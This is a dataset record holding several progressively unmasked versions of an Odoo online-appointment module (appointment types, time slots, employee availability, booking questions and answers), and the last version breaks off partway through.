fields.Boolean('Required Answer') question_type = fields.Selection([ ('char', 'Single line text'), ('text', 'Multi-line text'), ('select', 'Dropdown (one answer)'), ('radio', 'Radio (one answer)'), ('checkbox', 'Checkboxes (multiple answers)')], 'Question Type', default='char') answer_ids = fields.Many2many('calendar.appointment.answer', 'calendar_appointment_question_answer_rel', 'question_id', 'answer_id', string='Available Answers') class CalendarAppointmentAnswer(models.Model): _name = "calendar.appointment.answer" _description = "Online Appointment : Answers" question_id = fields.Many2many('calendar.appointment.question', 'calendar_appointment_question_answer_rel', 'answer_id', 'question_id', string='Questions') name = fields.Char('Answer', translate=True, required=True)	flexible	{ "blob_id": "e03dfa0e02313c5478d4e97dcaf3bc27915bd878", "index": 1421, "step-1": "<mask token>\n\n\nclass CalendarAppointmentSlot(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n @api.constrains('hour')\n def check_hour(self):\n if any(slot.hour < 0.0 or slot.hour >= 24.0 for slot in self):\n raise ValidationError(_(\n 'Please enter a valid hour between 0:00 and 24:00 for your slots.'\n ))\n\n def name_get(self):\n weekdays = dict(self._fields['weekday'].selection)\n return self.mapped(lambda slot: (slot.id, '%s, %02d:%02d' % (\n weekdays.get(slot.weekday), int(slot.hour), int(round(slot.hour %\n 1 * 60)))))\n\n\nclass CalendarAppointmentQuestion(models.Model):\n _name = 'calendar.appointment.question'\n _description = 'Online Appointment : Questions'\n _order = 'sequence'\n sequence = fields.Integer('Sequence')\n appointment_type_id = fields.Many2one('calendar.appointment.type',\n 'Appointment Type', ondelete='cascade')\n name = fields.Char('Question', translate=True, required=True)\n placeholder = fields.Char('Placeholder', translate=True)\n question_required = fields.Boolean('Required Answer')\n question_type = fields.Selection([('char', 'Single line text'), ('text',\n 'Multi-line text'), ('select', 'Dropdown (one answer)'), ('radio',\n 'Radio (one answer)'), ('checkbox', 'Checkboxes (multiple answers)'\n )], 'Question Type', default='char')\n answer_ids = fields.Many2many('calendar.appointment.answer',\n 'calendar_appointment_question_answer_rel', 'question_id',\n 'answer_id', string='Available Answers')\n\n\nclass CalendarAppointmentAnswer(models.Model):\n _name = 'calendar.appointment.answer'\n _description = 'Online Appointment : Answers'\n question_id = fields.Many2many('calendar.appointment.question',\n 'calendar_appointment_question_answer_rel', 'answer_id',\n 'question_id', string='Questions')\n name = fields.Char('Answer', translate=True, required=True)\n", "step-2": "<mask token>\n\n\nclass CalendarAppointmentType(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def _get_appointment_slots(self, timezone, employee=None):\n \"\"\" Fetch available slots to book an appointment\n :param timezone: timezone string e.g.: 'Europe/Brussels' or 'Etc/GMT+1'\n :param employee: if set will only check available slots for this employee\n :returns: list of dicts (1 per month) containing available slots per day per week.\n complex structure used to simplify rendering of template\n \"\"\"\n self.ensure_one()\n appt_tz = pytz.timezone(self.appointment_tz)\n requested_tz = pytz.timezone(timezone)\n first_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(\n hours=self.min_schedule_hours))\n last_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(\n days=self.max_schedule_days))\n slots = self._slots_generate(first_day.astimezone(appt_tz),\n last_day.astimezone(appt_tz), timezone)\n if not employee or employee in self.employee_ids:\n self._slots_available(slots, first_day.astimezone(pytz.UTC),\n last_day.astimezone(pytz.UTC), employee)\n today = requested_tz.fromutc(datetime.utcnow())\n start = today\n month_dates_calendar = cal.Calendar(0).monthdatescalendar\n months = []\n while (start.year, start.month) <= (last_day.year, last_day.month):\n dates = month_dates_calendar(start.year, start.month)\n for week_index, week in enumerate(dates):\n for day_index, day in enumerate(week):\n mute_cls = weekend_cls = today_cls = None\n today_slots = []\n if day.weekday() in (cal.SUNDAY, cal.SATURDAY):\n weekend_cls = 'o_weekend'\n if day == today.date() and day.month == today.month:\n today_cls = 'o_today'\n if day.month != start.month:\n mute_cls = 'text-muted o_mute_day'\n else:\n while slots and slots[0][timezone][0].date() <= day:\n if slots[0][timezone][0].date(\n ) == day and 'employee_id' in slots[0]:\n today_slots.append({'employee_id': slots[0]\n ['employee_id'].id, 'datetime': slots[0\n ][timezone][0].strftime(\n '%Y-%m-%d %H:%M:%S'), 'hours': slots[0]\n [timezone][0].strftime('%H:%M')})\n slots.pop(0)\n dates[week_index][day_index] = {'day': day, 'slots':\n today_slots, 'mute_cls': mute_cls, 'weekend_cls':\n weekend_cls, 'today_cls': today_cls}\n months.append({'month': format_datetime(start, 'MMMM Y', locale\n =get_lang(self.env).code), 'weeks': dates})\n start = start + relativedelta(months=1)\n return months\n\n\nclass CalendarAppointmentSlot(models.Model):\n _name = 'calendar.appointment.slot'\n _description = 'Online Appointment : Time Slot'\n _rec_name = 'weekday'\n _order = 'weekday, hour'\n appointment_type_id = fields.Many2one('calendar.appointment.type',\n 'Appointment Type', ondelete='cascade')\n weekday = fields.Selection([('1', 'Monday'), ('2', 'Tuesday'), ('3',\n 'Wednesday'), ('4', 'Thursday'), ('5', 'Friday'), ('6', 'Saturday'),\n ('7', 'Sunday')], string='Week Day', required=True)\n hour = fields.Float('Starting Hour', required=True, default=8.0)\n\n @api.constrains('hour')\n def check_hour(self):\n if any(slot.hour < 0.0 or slot.hour >= 24.0 for slot in self):\n raise ValidationError(_(\n 'Please enter a valid hour between 0:00 and 24:00 for your slots.'\n ))\n\n def name_get(self):\n weekdays = dict(self._fields['weekday'].selection)\n return self.mapped(lambda slot: (slot.id, '%s, %02d:%02d' % (\n weekdays.get(slot.weekday), int(slot.hour), int(round(slot.hour %\n 1 * 60)))))\n\n\nclass CalendarAppointmentQuestion(models.Model):\n _name = 'calendar.appointment.question'\n _description = 'Online Appointment : Questions'\n _order = 'sequence'\n sequence = fields.Integer('Sequence')\n appointment_type_id = fields.Many2one('calendar.appointment.type',\n 'Appointment Type', ondelete='cascade')\n name = fields.Char('Question', translate=True, required=True)\n placeholder = fields.Char('Placeholder', translate=True)\n question_required = fields.Boolean('Required Answer')\n question_type = fields.Selection([('char', 'Single line text'), ('text',\n 'Multi-line text'), ('select', 'Dropdown (one answer)'), ('radio',\n 'Radio (one answer)'), ('checkbox', 'Checkboxes (multiple answers)'\n )], 'Question Type', default='char')\n answer_ids = fields.Many2many('calendar.appointment.answer',\n 'calendar_appointment_question_answer_rel', 'question_id',\n 'answer_id', string='Available Answers')\n\n\nclass CalendarAppointmentAnswer(models.Model):\n _name = 'calendar.appointment.answer'\n _description = 'Online Appointment : Answers'\n question_id = fields.Many2many('calendar.appointment.question',\n 'calendar_appointment_question_answer_rel', 'answer_id',\n 'question_id', string='Questions')\n name = fields.Char('Answer', translate=True, required=True)\n", "step-3": "<mask token>\n\n\nclass CalendarAppointmentType(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def _compute_website_url(self):\n super(CalendarAppointmentType, self)._compute_website_url()\n for appointment_type in self:\n if appointment_type.id:\n appointment_type.website_url = '/calendar/%s/appointment' % (\n slug(appointment_type),)\n <mask token>\n\n def action_calendar_meetings(self):\n self.ensure_one()\n action = self.env['ir.actions.actions']._for_xml_id(\n 'calendar.action_calendar_event')\n action['context'] = {'default_appointment_type_id': self.id,\n 'search_default_appointment_type_id': self.id}\n return action\n <mask token>\n <mask token>\n\n def _get_appointment_slots(self, timezone, employee=None):\n \"\"\" Fetch available slots to book an appointment\n :param timezone: timezone string e.g.: 'Europe/Brussels' or 'Etc/GMT+1'\n :param employee: if set will only check available slots for this employee\n :returns: list of dicts (1 per month) containing available slots per day per week.\n complex structure used to simplify rendering of template\n \"\"\"\n self.ensure_one()\n appt_tz = pytz.timezone(self.appointment_tz)\n requested_tz = pytz.timezone(timezone)\n first_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(\n hours=self.min_schedule_hours))\n last_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(\n days=self.max_schedule_days))\n slots = self._slots_generate(first_day.astimezone(appt_tz),\n last_day.astimezone(appt_tz), timezone)\n if not employee or employee in self.employee_ids:\n self._slots_available(slots, first_day.astimezone(pytz.UTC),\n last_day.astimezone(pytz.UTC), employee)\n today = requested_tz.fromutc(datetime.utcnow())\n start = today\n month_dates_calendar = cal.Calendar(0).monthdatescalendar\n months = []\n while (start.year, start.month) <= (last_day.year, last_day.month):\n dates = month_dates_calendar(start.year, start.month)\n for week_index, week in enumerate(dates):\n for day_index, day in enumerate(week):\n mute_cls = weekend_cls = today_cls = None\n today_slots = []\n if day.weekday() in (cal.SUNDAY, cal.SATURDAY):\n weekend_cls = 'o_weekend'\n if day == today.date() and day.month == today.month:\n today_cls = 'o_today'\n if day.month != start.month:\n mute_cls = 'text-muted o_mute_day'\n else:\n while slots and slots[0][timezone][0].date() <= day:\n if slots[0][timezone][0].date(\n ) == day and 'employee_id' in slots[0]:\n today_slots.append({'employee_id': slots[0]\n ['employee_id'].id, 'datetime': slots[0\n ][timezone][0].strftime(\n '%Y-%m-%d %H:%M:%S'), 'hours': slots[0]\n [timezone][0].strftime('%H:%M')})\n slots.pop(0)\n dates[week_index][day_index] = {'day': day, 'slots':\n today_slots, 'mute_cls': mute_cls, 'weekend_cls':\n weekend_cls, 'today_cls': today_cls}\n months.append({'month': format_datetime(start, 'MMMM Y', locale\n =get_lang(self.env).code), 'weeks': dates})\n start = start + relativedelta(months=1)\n return months\n\n\nclass CalendarAppointmentSlot(models.Model):\n _name = 'calendar.appointment.slot'\n _description = 'Online Appointment : Time Slot'\n _rec_name = 'weekday'\n _order = 'weekday, hour'\n appointment_type_id = fields.Many2one('calendar.appointment.type',\n 'Appointment Type', ondelete='cascade')\n weekday = fields.Selection([('1', 'Monday'), ('2', 'Tuesday'), ('3',\n 'Wednesday'), ('4', 'Thursday'), ('5', 'Friday'), ('6', 'Saturday'),\n ('7', 'Sunday')], string='Week Day', required=True)\n hour = fields.Float('Starting Hour', required=True, default=8.0)\n\n @api.constrains('hour')\n def check_hour(self):\n if any(slot.hour < 0.0 or slot.hour >= 24.0 for slot in self):\n raise ValidationError(_(\n 'Please enter a valid hour between 0:00 and 24:00 for your slots.'\n ))\n\n def name_get(self):\n weekdays = dict(self._fields['weekday'].selection)\n return self.mapped(lambda slot: (slot.id, '%s, %02d:%02d' % (\n weekdays.get(slot.weekday), int(slot.hour), int(round(slot.hour %\n 1 * 60)))))\n\n\nclass CalendarAppointmentQuestion(models.Model):\n _name = 'calendar.appointment.question'\n _description = 'Online Appointment : Questions'\n _order = 'sequence'\n sequence = fields.Integer('Sequence')\n appointment_type_id = fields.Many2one('calendar.appointment.type',\n 'Appointment Type', ondelete='cascade')\n name = fields.Char('Question', translate=True, required=True)\n placeholder = fields.Char('Placeholder', translate=True)\n question_required = fields.Boolean('Required Answer')\n question_type = fields.Selection([('char', 'Single line text'), ('text',\n 'Multi-line text'), ('select', 'Dropdown (one answer)'), ('radio',\n 'Radio (one answer)'), ('checkbox', 'Checkboxes (multiple answers)'\n )], 'Question Type', default='char')\n answer_ids = fields.Many2many('calendar.appointment.answer',\n 'calendar_appointment_question_answer_rel', 'question_id',\n 'answer_id', string='Available Answers')\n\n\nclass CalendarAppointmentAnswer(models.Model):\n _name = 'calendar.appointment.answer'\n _description = 'Online Appointment : Answers'\n question_id = fields.Many2many('calendar.appointment.question',\n 'calendar_appointment_question_answer_rel', 'answer_id',\n 'question_id', string='Questions')\n name = fields.Char('Answer', translate=True, required=True)\n", "step-4": "import calendar as cal\nimport random\nimport pytz\nfrom datetime import datetime, timedelta, time\nfrom dateutil import rrule\nfrom dateutil.relativedelta import relativedelta\nfrom babel.dates import format_datetime\nfrom odoo import api, fields, models, _\nfrom odoo.tools.misc import get_lang\nfrom odoo.addons.base.models.res_partner import _tz_get\nfrom odoo.addons.http_routing.models.ir_http import slug\nfrom odoo.exceptions import ValidationError\n\n\nclass CalendarAppointmentType(models.Model):\n _name = 'calendar.appointment.type'\n _description = 'Online Appointment Type'\n _inherit = ['mail.thread', 'website.seo.metadata',\n 'website.published.mixin']\n _order = 'sequence'\n sequence = fields.Integer('Sequence')\n name = fields.Char('Appointment Type', required=True, translate=True)\n min_schedule_hours = fields.Float('Schedule before (hours)', required=\n True, default=1.0)\n max_schedule_days = fields.Integer('Schedule not after (days)',\n required=True, default=15)\n min_cancellation_hours = fields.Float('Cancel Before (hours)', required\n =True, default=1.0)\n appointment_duration = fields.Float('Appointment Duration', required=\n True, default=1.0)\n reminder_ids = fields.Many2many('calendar.alarm', string='Reminders')\n location = fields.Char('Location', help='Location of the appointments')\n message_confirmation = fields.Html('Confirmation Message', translate=True)\n message_intro = fields.Html('Introduction Message', translate=True)\n country_ids = fields.Many2many('res.country',\n 'website_calendar_type_country_rel', string='Restrict Countries',\n help=\n 'Keep empty to allow visitors from any country, otherwise you only allow visitors from selected countries'\n )\n question_ids = fields.One2many('calendar.appointment.question',\n 'appointment_type_id', string='Questions', copy=True)\n slot_ids = fields.One2many('calendar.appointment.slot',\n 'appointment_type_id', 'Availabilities', copy=True)\n appointment_tz = fields.Selection(_tz_get, string='Timezone', required=\n True, default=lambda self: self.env.user.tz, help=\n 'Timezone where appointment take place')\n employee_ids = fields.Many2many('hr.employee',\n 'website_calendar_type_employee_rel', domain=[('user_id', '!=', \n False)], string='Employees')\n assignation_method = fields.Selection([('random', 'Random'), ('chosen',\n 'Chosen by the Customer')], string='Assignment Method', default=\n 'random', help=\n 'How employees will be assigned to meetings customers book on your website.'\n )\n appointment_count = fields.Integer('# Appointments', compute=\n '_compute_appointment_count')\n\n def _compute_appointment_count(self):\n meeting_data = self.env['calendar.event'].read_group([(\n 'appointment_type_id', 'in', self.ids)], ['appointment_type_id'\n ], ['appointment_type_id'])\n mapped_data = {m['appointment_type_id'][0]: m[\n 'appointment_type_id_count'] for m in meeting_data}\n for appointment_type in self:\n appointment_type.appointment_count = mapped_data.get(\n appointment_type.id, 0)\n\n def _compute_website_url(self):\n super(CalendarAppointmentType, self)._compute_website_url()\n for appointment_type in self:\n if appointment_type.id:\n appointment_type.website_url = '/calendar/%s/appointment' % (\n slug(appointment_type),)\n\n @api.returns('self', lambda value: value.id)\n def copy(self, default=None):\n default = default or {}\n default['name'] = self.name + _(' (copy)')\n return super(CalendarAppointmentType, self).copy(default=default)\n\n def action_calendar_meetings(self):\n self.ensure_one()\n action = self.env['ir.actions.actions']._for_xml_id(\n 'calendar.action_calendar_event')\n action['context'] = {'default_appointment_type_id': self.id,\n 'search_default_appointment_type_id': self.id}\n return action\n\n def _slots_generate(self, first_day, last_day, timezone):\n \"\"\" Generate all appointment slots (in naive UTC, appointment timezone, and given (visitors) timezone)\n between first_day and last_day (datetimes in appointment timezone)\n\n :return: [ {'slot': slot_record, <timezone>: (date_start, date_end), ...},\n ... ]\n \"\"\"\n\n def append_slot(day, slot):\n local_start = appt_tz.localize(datetime.combine(day, time(hour=\n int(slot.hour), minute=int(round(slot.hour % 1 * 60)))))\n local_end = appt_tz.localize(datetime.combine(day, time(hour=\n int(slot.hour), minute=int(round(slot.hour % 1 * 60)))) +\n relativedelta(hours=self.appointment_duration))\n slots.append({self.appointment_tz: (local_start, local_end),\n timezone: (local_start.astimezone(requested_tz), local_end.\n astimezone(requested_tz)), 'UTC': (local_start.astimezone(\n pytz.UTC).replace(tzinfo=None), local_end.astimezone(pytz.\n UTC).replace(tzinfo=None)), 'slot': slot})\n appt_tz = pytz.timezone(self.appointment_tz)\n requested_tz = pytz.timezone(timezone)\n slots = []\n for slot in self.slot_ids.filtered(lambda x: int(x.weekday) ==\n first_day.isoweekday()):\n if slot.hour > first_day.hour + first_day.minute / 60.0:\n append_slot(first_day.date(), slot)\n slot_weekday = [(int(weekday) - 1) for weekday in self.slot_ids.\n mapped('weekday')]\n for day in rrule.rrule(rrule.DAILY, dtstart=first_day.date() +\n timedelta(days=1), until=last_day.date(), byweekday=slot_weekday):\n for slot in self.slot_ids.filtered(lambda x: int(x.weekday) ==\n day.isoweekday()):\n append_slot(day, slot)\n return slots\n\n def _slots_available(self, slots, first_day, last_day, employee=None):\n \"\"\" Fills the slot stucture with an available employee\n\n :param slots: slots structure generated by _slots_generate\n :param first_day: start datetime in UTC\n :param last_day: end datetime in UTC\n :param employee: if set, only consider this employee\n if not set, consider all employees assigned to this appointment type\n \"\"\"\n\n def is_work_available(start_dt, end_dt, intervals):\n \"\"\" check if the slot is contained in the employee's work hours (defined by intervals)\n \"\"\"\n\n def find_start_index():\n \"\"\" find the highest index of intervals for which the start_date (element [0]) is before (or at) start_dt\n \"\"\"\n\n def recursive_find_index(lower_bound, upper_bound):\n if upper_bound - lower_bound <= 1:\n if intervals[upper_bound][0] <= start_dt:\n return upper_bound\n return lower_bound\n index = (upper_bound + lower_bound) // 2\n if intervals[index][0] <= start_dt:\n return recursive_find_index(index, upper_bound)\n else:\n return recursive_find_index(lower_bound, index)\n if start_dt <= intervals[0][0] - tolerance:\n return -1\n if end_dt >= intervals[-1][1] + tolerance:\n return -1\n return recursive_find_index(0, len(intervals) - 1)\n if not intervals:\n return False\n tolerance = timedelta(minutes=1)\n start_index = find_start_index()\n if start_index != -1:\n for index in range(start_index, len(intervals)):\n if intervals[index][1] >= end_dt - tolerance:\n return True\n if len(intervals) == index + 1 or intervals[index + 1][0\n ] - intervals[index][1] > tolerance:\n return False\n return False\n\n def is_calendar_available(slot, events, employee):\n \"\"\" Returns True if the given slot doesn't collide with given events for the employee\n \"\"\"\n start_dt = slot['UTC'][0]\n end_dt = slot['UTC'][1]\n event_in_scope = lambda ev: fields.Date.to_date(ev.start\n ) <= fields.Date.to_date(end_dt) and fields.Date.to_date(ev\n .stop) >= fields.Date.to_date(start_dt)\n for ev in events.filtered(event_in_scope):\n if ev.allday:\n event_tz = pytz.timezone(ev.event_tz or employee.\n user_id.tz or self.env.user.tz or slot['slot'].\n appointment_type_id.appointment_tz or 'UTC')\n ev_start_dt = datetime.combine(fields.Date.from_string(\n ev.start_date), time.min)\n ev_stop_dt = datetime.combine(fields.Date.from_string(\n ev.stop_date), time.max)\n ev_start_dt = event_tz.localize(ev_start_dt).astimezone(\n pytz.UTC).replace(tzinfo=None)\n ev_stop_dt = event_tz.localize(ev_stop_dt).astimezone(pytz\n .UTC).replace(tzinfo=None)\n if ev_start_dt < end_dt and ev_stop_dt > start_dt:\n return False\n elif fields.Datetime.to_datetime(ev.start\n ) < end_dt and fields.Datetime.to_datetime(ev.stop\n ) > start_dt:\n return False\n return True\n workhours = {}\n meetings = {}\n available_employees = [emp.with_context(tz=emp.user_id.tz) for emp in\n employee or self.employee_ids]\n random.shuffle(available_employees)\n for slot in slots:\n for emp_pos, emp in enumerate(available_employees):\n if emp_pos not in workhours:\n workhours[emp_pos] = [(interval[0].astimezone(pytz.UTC)\n .replace(tzinfo=None), interval[1].astimezone(pytz.\n UTC).replace(tzinfo=None)) for interval in emp.\n resource_calendar_id._work_intervals_batch(\n first_day, last_day, resources=emp.resource_id)[emp\n .resource_id.id]]\n if is_work_available(slot['UTC'][0], slot['UTC'][1],\n workhours[emp_pos]):\n if emp_pos not in meetings:\n meetings[emp_pos] = self.env['calendar.event'].search([\n ('partner_ids.user_ids', '=', emp.user_id.id),\n ('start', '<', fields.Datetime.to_string(\n last_day.replace(hour=23, minute=59, second=59)\n )), ('stop', '>', fields.Datetime.to_string(\n first_day.replace(hour=0, minute=0, second=0)))])\n if is_calendar_available(slot, meetings[emp_pos], emp):\n slot['employee_id'] = emp\n break\n\n def _get_appointment_slots(self, timezone, employee=None):\n \"\"\" Fetch available slots to book an appointment\n :param timezone: timezone string e.g.: 'Europe/Brussels' or 'Etc/GMT+1'\n :param employee: if set will only check available slots for this employee\n :returns: list of dicts (1 per month) containing available slots per day per week.\n complex structure used to simplify rendering of template\n \"\"\"\n self.ensure_one()\n appt_tz = pytz.timezone(self.appointment_tz)\n requested_tz = pytz.timezone(timezone)\n first_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(\n hours=self.min_schedule_hours))\n last_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(\n days=self.max_schedule_days))\n slots = self._slots_generate(first_day.astimezone(appt_tz),\n last_day.astimezone(appt_tz), timezone)\n if not employee or employee in self.employee_ids:\n self._slots_available(slots, first_day.astimezone(pytz.UTC),\n last_day.astimezone(pytz.UTC), employee)\n today = requested_tz.fromutc(datetime.utcnow())\n start = today\n month_dates_calendar = cal.Calendar(0).monthdatescalendar\n months = []\n while (start.year, start.month) <= (last_day.year, last_day.month):\n dates = month_dates_calendar(start.year, start.month)\n for week_index, week in enumerate(dates):\n for day_index, day in enumerate(week):\n mute_cls = weekend_cls = today_cls = None\n today_slots = []\n if day.weekday() in (cal.SUNDAY, cal.SATURDAY):\n weekend_cls = 'o_weekend'\n if day == today.date() and day.month == today.month:\n today_cls = 'o_today'\n if day.month != start.month:\n mute_cls = 'text-muted o_mute_day'\n else:\n while slots and slots[0][timezone][0].date() <= day:\n if slots[0][timezone][0].date(\n ) == day and 'employee_id' in slots[0]:\n today_slots.append({'employee_id': slots[0]\n ['employee_id'].id, 'datetime': slots[0\n ][timezone][0].strftime(\n '%Y-%m-%d %H:%M:%S'), 'hours': slots[0]\n [timezone][0].strftime('%H:%M')})\n slots.pop(0)\n dates[week_index][day_index] = {'day': day, 'slots':\n today_slots, 'mute_cls': mute_cls, 'weekend_cls':\n weekend_cls, 'today_cls': today_cls}\n months.append({'month': format_datetime(start, 'MMMM Y', locale\n =get_lang(self.env).code), 'weeks': dates})\n start = start + relativedelta(months=1)\n return months\n\n\nclass CalendarAppointmentSlot(models.Model):\n _name = 'calendar.appointment.slot'\n _description = 'Online Appointment : Time Slot'\n _rec_name = 'weekday'\n _order = 'weekday, hour'\n appointment_type_id = fields.Many2one('calendar.appointment.type',\n 'Appointment Type', ondelete='cascade')\n weekday = fields.Selection([('1', 'Monday'), ('2', 'Tuesday'), ('3',\n 'Wednesday'), ('4', 'Thursday'), ('5', 'Friday'), ('6', 'Saturday'),\n ('7', 'Sunday')], string='Week Day', required=True)\n hour = fields.Float('Starting Hour', required=True, default=8.0)\n\n @api.constrains('hour')\n def check_hour(self):\n if any(slot.hour < 0.0 or slot.hour >= 24.0 for slot in self):\n raise ValidationError(_(\n 'Please enter a valid hour between 0:00 and 24:00 for your slots.'\n ))\n\n def name_get(self):\n weekdays = dict(self._fields['weekday'].selection)\n return self.mapped(lambda slot: (slot.id, '%s, %02d:%02d' % (\n weekdays.get(slot.weekday), int(slot.hour), int(round(slot.hour %\n 1 * 60)))))\n\n\nclass CalendarAppointmentQuestion(models.Model):\n _name = 'calendar.appointment.question'\n _description = 'Online Appointment : Questions'\n _order = 'sequence'\n sequence = fields.Integer('Sequence')\n appointment_type_id = fields.Many2one('calendar.appointment.type',\n 'Appointment Type', ondelete='cascade')\n name = fields.Char('Question', translate=True, required=True)\n placeholder = fields.Char('Placeholder', translate=True)\n question_required = fields.Boolean('Required Answer')\n question_type = fields.Selection([('char', 'Single line text'), ('text',\n 'Multi-line text'), ('select', 'Dropdown (one answer)'), ('radio',\n 'Radio (one answer)'), ('checkbox', 'Checkboxes (multiple answers)'\n )], 'Question Type', default='char')\n answer_ids = fields.Many2many('calendar.appointment.answer',\n 'calendar_appointment_question_answer_rel', 'question_id',\n 'answer_id', string='Available Answers')\n\n\nclass CalendarAppointmentAnswer(models.Model):\n _name = 'calendar.appointment.answer'\n _description = 'Online Appointment : Answers'\n question_id = fields.Many2many('calendar.appointment.question',\n 'calendar_appointment_question_answer_rel', 'answer_id',\n 'question_id', string='Questions')\n name = fields.Char('Answer', translate=True, required=True)\n", "step-5": "# -- coding: utf-8 --\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\n\nimport calendar as cal\nimport random\nimport pytz\nfrom datetime import datetime, timedelta, time\nfrom dateutil import rrule\nfrom dateutil.relativedelta import relativedelta\nfrom babel.dates import format_datetime\n\nfrom odoo import api, fields, models, _\nfrom odoo.tools.misc import get_lang\nfrom odoo.addons.base.models.res_partner import _tz_get\nfrom odoo.addons.http_routing.models.ir_http import slug\nfrom odoo.exceptions import ValidationError\n\n\nclass CalendarAppointmentType(models.Model):\n _name = \"calendar.appointment.type\"\n _description = \"Online Appointment Type\"\n _inherit = ['mail.thread', \"website.seo.metadata\", 'website.published.mixin']\n _order = \"sequence\"\n\n sequence = fields.Integer('Sequence')\n name = fields.Char('Appointment Type', required=True, translate=True)\n min_schedule_hours = fields.Float('Schedule before (hours)', required=True, default=1.0)\n max_schedule_days = fields.Integer('Schedule not after (days)', required=True, default=15)\n min_cancellation_hours = fields.Float('Cancel Before (hours)', required=True, default=1.0)\n appointment_duration = fields.Float('Appointment Duration', required=True, default=1.0)\n\n reminder_ids = fields.Many2many('calendar.alarm', string=\"Reminders\")\n location = fields.Char('Location', help=\"Location of the appointments\")\n message_confirmation = fields.Html('Confirmation Message', translate=True)\n message_intro = fields.Html('Introduction Message', translate=True)\n\n country_ids = fields.Many2many(\n 'res.country', 'website_calendar_type_country_rel', string='Restrict Countries',\n help=\"Keep empty to allow visitors from any country, otherwise you only allow visitors from selected countries\")\n question_ids = fields.One2many('calendar.appointment.question', 'appointment_type_id', string='Questions', copy=True)\n\n slot_ids = fields.One2many('calendar.appointment.slot', 'appointment_type_id', 'Availabilities', copy=True)\n appointment_tz = fields.Selection(\n _tz_get, string='Timezone', required=True, default=lambda self: self.env.user.tz,\n help=\"Timezone where appointment take place\")\n employee_ids = fields.Many2many('hr.employee', 'website_calendar_type_employee_rel', domain=[('user_id', '!=', False)], string='Employees')\n assignation_method = fields.Selection([\n ('random', 'Random'),\n ('chosen', 'Chosen by the Customer')], string='Assignment Method', default='random',\n help=\"How employees will be assigned to meetings customers book on your website.\")\n appointment_count = fields.Integer('# Appointments', compute='_compute_appointment_count')\n\n def _compute_appointment_count(self):\n meeting_data = self.env['calendar.event'].read_group([('appointment_type_id', 'in', self.ids)], ['appointment_type_id'], ['appointment_type_id'])\n mapped_data = {m['appointment_type_id'][0]: m['appointment_type_id_count'] for m in meeting_data}\n for appointment_type in self:\n appointment_type.appointment_count = mapped_data.get(appointment_type.id, 0)\n\n def _compute_website_url(self):\n super(CalendarAppointmentType, self)._compute_website_url()\n for appointment_type in self:\n if appointment_type.id :\n appointment_type.website_url = '/calendar/%s/appointment' % (slug(appointment_type),)\n\n @api.returns('self', lambda value: value.id)\n def copy(self, default=None):\n default = default or {}\n default['name'] = self.name + _(' (copy)')\n return super(CalendarAppointmentType, self).copy(default=default)\n\n def action_calendar_meetings(self):\n self.ensure_one()\n action = self.env[\"ir.actions.actions\"]._for_xml_id(\"calendar.action_calendar_event\")\n action['context'] = {\n 'default_appointment_type_id': self.id,\n 'search_default_appointment_type_id': self.id\n }\n return action\n\n # --------------------------------------\n # Slots Generation\n # --------------------------------------\n\n def _slots_generate(self, first_day, last_day, timezone):\n \"\"\" Generate all appointment slots (in naive UTC, appointment timezone, and given (visitors) timezone)\n between first_day and last_day (datetimes in appointment timezone)\n\n :return: [ {'slot': slot_record, <timezone>: (date_start, date_end), ...},\n ... ]\n \"\"\"\n def append_slot(day, slot):\n local_start = appt_tz.localize(datetime.combine(day, time(hour=int(slot.hour), minute=int(round((slot.hour % 1) * 60)))))\n local_end = appt_tz.localize(\n datetime.combine(day, time(hour=int(slot.hour), minute=int(round((slot.hour % 1) * 60)))) + relativedelta(hours=self.appointment_duration))\n slots.append({\n self.appointment_tz: (\n local_start,\n local_end,\n ),\n timezone: (\n local_start.astimezone(requested_tz),\n local_end.astimezone(requested_tz),\n ),\n 'UTC': (\n local_start.astimezone(pytz.UTC).replace(tzinfo=None),\n local_end.astimezone(pytz.UTC).replace(tzinfo=None),\n ),\n 'slot': slot,\n })\n appt_tz = pytz.timezone(self.appointment_tz)\n requested_tz = pytz.timezone(timezone)\n\n slots = []\n for slot in self.slot_ids.filtered(lambda x: int(x.weekday) == first_day.isoweekday()):\n if slot.hour > first_day.hour + first_day.minute / 60.0:\n append_slot(first_day.date(), slot)\n slot_weekday = [int(weekday) - 1 for weekday in self.slot_ids.mapped('weekday')]\n for day in rrule.rrule(rrule.DAILY,\n dtstart=first_day.date() + timedelta(days=1),\n until=last_day.date(),\n byweekday=slot_weekday):\n for slot in self.slot_ids.filtered(lambda x: int(x.weekday) == day.isoweekday()):\n append_slot(day, slot)\n return slots\n\n def _slots_available(self, slots, first_day, last_day, employee=None):\n \"\"\" Fills the slot stucture with an available employee\n\n :param slots: slots structure generated by _slots_generate\n :param first_day: start datetime in UTC\n :param last_day: end datetime in UTC\n :param employee: if set, only consider this employee\n if not set, consider all employees assigned to this appointment type\n \"\"\"\n\n def is_work_available(start_dt, end_dt, intervals):\n \"\"\" check if the slot is contained in the employee's work hours (defined by intervals)\n \"\"\"\n def find_start_index():\n \"\"\" find the highest index of intervals for which the start_date (element [0]) is before (or at) start_dt\n \"\"\"\n def recursive_find_index(lower_bound, upper_bound):\n if upper_bound - lower_bound <= 1:\n if intervals[upper_bound][0] <= start_dt:\n return upper_bound\n return lower_bound\n index = (upper_bound + lower_bound) // 2\n if intervals[index][0] <= start_dt:\n return recursive_find_index(index, upper_bound)\n else:\n return recursive_find_index(lower_bound, index)\n\n if start_dt <= intervals[0][0] - 